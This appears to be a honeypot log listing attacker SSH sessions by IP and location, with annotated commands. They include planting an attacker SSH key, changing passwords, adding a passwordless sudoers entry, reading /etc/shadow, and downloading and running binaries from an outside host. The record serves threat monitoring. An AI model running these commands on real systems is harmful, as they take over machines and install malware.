$ echo "root:LYwebJ5ADFb6"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
↳ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 specter_root_17 (189.194.140.170) β€” Puebla City, Mexico Β· 2 sessions Β· 22 cmds
2026-04-09 21:49 EDT Β· as bitcoin/bitcoin, oracle/oracle123
file attribute tampering β†’ SSH key persistence β†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—2
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—2
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "bitcoin\n4Qnf2rdF3n2Y\n4Qnf2rdF3n2Y"|passwd|bash
$ Enter new UNIX password:
$ echo "bitcoin\n4Qnf2rdF3n2Y\n4Qnf2rdF3n2Y\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 fjord_root_2 (171.25.158.70) β€” Vaxjo, Sweden Β· 2 sessions Β· 22 cmds
2026-04-09 21:51 EDT Β· as bitcoin/bitcoin, oracle/oracle123
file attribute tampering β†’ SSH key persistence β†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—2
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—2
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "bitcoin\niy3mHoyDfUP1\niy3mHoyDfUP1"|passwd|bash
$ Enter new UNIX password:
$ echo "bitcoin\niy3mHoyDfUP1\niy3mHoyDfUP1\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 lotus_root_9 (34.0.13.61) β€” New Delhi, India Β· 1 session Β· 2 cmds
2026-04-09 19:45 EDT Β· as oracle/Oracle$
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 tiger_root_5 (203.192.232.180) β€” Mumbai, India Β· 1 session Β· 2 cmds
2026-04-09 19:43 EDT Β· as oracle/Oracle$
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 phantom_root_33 (102.88.137.213) β€” Lagos, Nigeria Β· 1 session Β· 2 cmds
2026-04-09 19:43 EDT Β· as oracle/Oracle$
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 star_root_5 (162.223.91.130) β€” Buffalo, United States Β· 1 session Β· 2 cmds
2026-04-09 19:35 EDT Β· as oracle/Oracle$
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 phantom_root_34 (103.82.92.202) β€” Padalarang, Indonesia Β· 1 session Β· 2 cmds
2026-04-09 19:31 EDT Β· as oracle/Oracle$
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 specter_root_45 (4.194.50.159) β€” Singapore, Singapore Β· 2 sessions Β· 2 cmds
2026-04-08 19:04 EDT Β· as admin/admin123, root/root
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a Γ—2
↳ OS/kernel identification
🎭 rogue_sol (195.178.110.218) β€” Andorra la Vella, Andorra Β· 1057 sessions Β· 1057 cmds
2026-03-15 04:32 EDT Β· as firedancer/firedancer, raydium/raydium, sol/123
Ran uname 357x across 357 sessions β€” automated OS fingerprinting.
$ /bin/./uname -s -v -n -r -m Γ—1057
↳ obfuscated system check
🎭 shadow_root_34 (157.230.42.251) β€” Singapore, Singapore Β· 1 session Β· 1 cmd
2026-04-09 16:55 EDT Β· as oracle/Oracle1234
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 panda_root_16 (125.39.11.27) β€” Tianjin, China Β· 6 sessions Β· 6 cmds
2026-04-09 15:09 EDT Β· as admin/admin, root/1234, root/123456
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a;id;cat /etc/shadow /etc/passwd;lscpu;echo 'daemon ALL=(ALL) NOPASSWD: ALL' >> /etc/sudoers;chsh -s /bin/sh daemon;echo Password123 |passwd daemon --stdin;mkdir ~/.ssh;chattr -ia ~/.ssh/* ~/.ssh;wget http://103.56.149.224/cacti/ns1.jpg -O ~/.ssh/authorized_keys;chmod 600 ~/.ssh/authorized_keys;chmod 700 ~/ ~/.ssh;wget http://103.56.149.224/cacti/ns3.jpg -O /tmp/x;chmod +x /tmp/x;/tmp/x;mv /tmp/x /tmp/o;/tmp/o;rm -f /tmp/o;mkdir /sbin/.ssh;cp ~/.ssh/authorized_keys /sbin/.ssh;chown daemon.daemon /sbin/.ssh /sbin/.ssh/*;chmod 700 /sbin/.ssh;chmod 600 /sbin/.ssh/authorized_keys;wget http://103.56.149.224/cacti/oto -O /tmp/oto;chmod 755 /tmp/oto;/tmp/oto;curl http://103.56.149.224/cacti/oto -o /tmp/oto;chmod 755 /tmp/oto;/tmp/oto;rm -f /tmp/oto Γ—6
↳ password hash extraction
🎭 ghost_root_61 (45.78.202.217) β€” Singapore, Singapore Β· 1 session Β· 18 cmds
2026-04-09 15:15 EDT Β· as oracle/Oracle20
chattr -ia .ssh β†’ rm -rf .ssh β†’ mkdir .ssh β†’ echo ssh-rsa key β†’ cat /proc/cpuinfo | grep name | wc -l β†’ echo Oracle20/pw|passwd|bash β†’ cat /proc/cpuinfo | grep model | grep name | wc -l β†’ free -m | grep Mem β†’ ls -lh $(which ls) β†’ which ls
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "Oracle20\nnzCwD1VW58LL\nnzCwD1VW58LL"|passwd|bash
$ Enter new UNIX password:
$ echo "Oracle20\nnzCwD1VW58LL\nnzCwD1VW58LL\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
🎭 rogue_root_36 (197.227.8.186) β€” Ebene CyberCity, Mauritius Β· 1 session Β· 2 cmds
2026-04-09 14:57 EDT Β· as oracle/Oracle20
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 silk_root_17 (115.190.212.78) β€” Beijing, China Β· 1 session Β· 1 cmd
2026-04-09 14:05 EDT Β· as test/123456
cat
$ cat /bin/echo
🎭 rogue_root_3 (182.93.7.194) β€” Macao, Macao Β· 3 sessions Β· 41 cmds
2026-04-04 05:30 EDT Β· as oracle/Oracle26!, root/admin, user/password
file attribute tampering β†’ SSH key persistence β†’ CPU profiling β†’ execute from /tmp β†’ persistence setup
$ cd ~; chattr -ia .ssh; lockr -ia .ssh Γ—3
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~ Γ—3
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l Γ—2
↳ CPU profiling
$ echo "root:OzDGbZ0abxV8"|chpasswd|bash
$ rm -rf /tmp/secure.sh; rm -rf /tmp/auth.sh; pkill -9 secure.sh; pkill -9 auth.sh; echo > /etc/hosts.deny; pkill -9 sleep;
↳ execute from /tmp
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}' Γ—2
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}' Γ—2
$ ls -lh $(which ls) Γ—2
$ which ls Γ—2
$ crontab -l Γ—2
↳ persistence setup
$ w Γ—2
↳ logged-in users check
$ uname -m Γ—2
$ cat /proc/cpuinfo | grep model | grep name | wc -l Γ—2
↳ CPU profiling
$ top Γ—2
↳ process monitoring
$ uname Γ—2
↳ OS identification
$ uname -a Γ—2
↳ OS/kernel identification
$ whoami Γ—2
↳ privilege check
$ lscpu | grep Model Γ—2
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}' Γ—2
$ echo -e "password\nlaFo8LcWzNN1\nlaFo8LcWzNN1"|passwd|bash
$ Enter new UNIX password:
$ echo "password\nlaFo8LcWzNN1\nlaFo8LcWzNN1\n"|passwd
🎭 eagle_root_14 (47.251.174.254) β€” Minkler, United States Β· 1 session Β· 1 cmd
2026-04-09 12:21 EDT Β· as admin/admin
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a
↳ OS/kernel identification
🎭 shadow_root_35 (202.152.204.159) β€” Sangkalputung, Indonesia Β· 3 sessions Β· 3 cmds
2026-04-06 15:04 EDT Β· as oracle/Oracle123, pi/pi, root/1234
Ran uname 1x across 1 sessions β€” automated OS fingerprinting.
$ uname -a Γ—3
↳ OS/kernel identification
🎭 specter_root_46 (207.46.224.89) β€” Singapore, Singapore Β· 13 sessions Β· 13 cmds
2026-04-06 04:27 EDT Β· as root/1234, root/123456, root/12345678
Credential validation (root/1234) β†’ system identity confirmation (uptime, hostname) β†’ hardware profiling via /proc/cpuinfo parsing β†’ process enumeration (ps aux) β†’ environment and network surface reconnaissance (env, netstat, mount) β†’ SSH client version verification (ssh -V)
$ uptime
↳ uptime check
$ hostname
↳ hostname discovery
$ grep 'model name' /proc/cpuinfo 2>/dev/null | head -1 | cut -d ':' -f2- | sed 's/^ *//' | xargs || echo unknown
$ ps aux | head -10 Γ—3
$ pwd
$ history | tail -5
↳ history snooping
$ ls -la /
$ ssh -V
$ mount | head -5
$ env | head -10
$ netstat -tulpn | head -10
🎭 shadow_root_36 (101.36.108.125) β€” Hong Kong, Hong Kong Β· 1 session Β· 2 cmds
2026-04-09 07:31 EDT Β· as oracle/Oracle04!
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 jade_root_12 (122.114.113.177) β€” Zhengzhou, China Β· 1 session Β· 2 cmds
2026-04-09 07:02 EDT Β· as oracle/adminadmin
file attribute tampering β†’ SSH key persistence
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
🎭 shadow_root_37 (103.253.214.196) β€” Jakarta, Indonesia Β· 1 session Β· 20 cmds
2026-04-09 03:07 EDT Β· as mysql/mysql@123
file attribute tampering β†’ SSH key persistence β†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "mysql@123\nMsqIcQy97Oi7\nMsqIcQy97Oi7"|passwd|bash
$ Enter new UNIX password:
$ echo "mysql@123\nMsqIcQy97Oi7\nMsqIcQy97Oi7\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 ghost_root_62 (81.192.46.45) β€” Rabat, Morocco Β· 1 session Β· 20 cmds
2026-04-09 03:07 EDT Β· as admin/admin123
file attribute tampering β†’ SSH key persistence β†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "admin123\n0PMHD4JyiqMj\n0PMHD4JyiqMj"|passwd|bash
$ Enter new UNIX password:
$ echo "admin123\n0PMHD4JyiqMj\n0PMHD4JyiqMj\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 star_root_11 (172.171.233.230) β€” Boydton, United States Β· 1 session Β· 20 cmds
2026-04-09 03:01 EDT Β· as admin/admin123
file attribute tampering β†’ SSH key persistence β†’ CPU profiling
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
$ cd ~ && rm -rf .ssh && mkdir .ssh && echo "ssh-rsa AAAAB3NzaC1yc2EAAAABJQAAAQEArDp4cun2lhr4KUhBGE7VvAcwdli2a8dbnrTOrbMz1+5O73fcBOx8NVbUT0bUanUV9tJ2/9p7+vD0EpZ3Tz/+0kX34uAx1RV/75GVOmNx+9EuWOnvNoaJe0QXxziIg9eLBHpgLMuakb5+BgTFB+rKJAw9u9FSTDengvS8hX1kNFS4Mjux0hJOK8rvcEmPecjdySYMb66nylAKGwCEE6WEQHmd1mUPgHwGQ0hWCwsQk13yCGPK5w6hYp5zYkFnvlC8hGmd4Ww+u97k6pfTGTUbJk14ujvcD9iUKQTTWYYjIIu5PmUux5bsZ0R4WFwdIe6+i6rBLAsPKgAySVKPRK+oRw== mdrfckr">>.ssh/authorized_keys && chmod -R go= ~/.ssh && cd ~
↳ SSH key persistence
$ cat /proc/cpuinfo | grep name | wc -l
↳ CPU profiling
$ echo -e "admin123\n7s7bjd520z4D\n7s7bjd520z4D"|passwd|bash
$ Enter new UNIX password:
$ echo "admin123\n7s7bjd520z4D\n7s7bjd520z4D\n"|passwd
$ cat /proc/cpuinfo | grep name | head -n 1 | awk '{print $4,$5,$6,$7,$8,$9;}'
↳ CPU profiling
$ free -m | grep Mem | awk '{print $2 ,$3, $4, $5, $6, $7}'
$ ls -lh $(which ls)
$ which ls
$ crontab -l
↳ persistence setup
$ w
↳ logged-in users check
$ uname -m
$ cat /proc/cpuinfo | grep model | grep name | wc -l
↳ CPU profiling
$ top
↳ process monitoring
$ uname
↳ OS identification
$ uname -a
↳ OS/kernel identification
$ whoami
↳ privilege check
$ lscpu | grep Model
$ df -h | head -n 2 | awk 'FNR == 2 {print $2;}'
🎭 burger_root_7 (45.17.39.120) β€” Birmingham, United States Β· 1 session Β· 20 cmds
2026-04-09 02:56 EDT Β· as mysql/mysql@123
cd ~; chattr -ia .ssh; lockr -ia .ssh β†’ cd ~ && rm -rf .ssh && mkdir .ssh β†’ echo "ssh-rsa..." β†’ cat /proc/cpuinfo | grep name | wc -l β†’ echo "mysql@123\nDbyxoFCXCoj0\nDbyxoFCXCoj0"|passwd|bash β†’
$ cd ~; chattr -ia .ssh; lockr -ia .ssh
↳ file attribute tampering
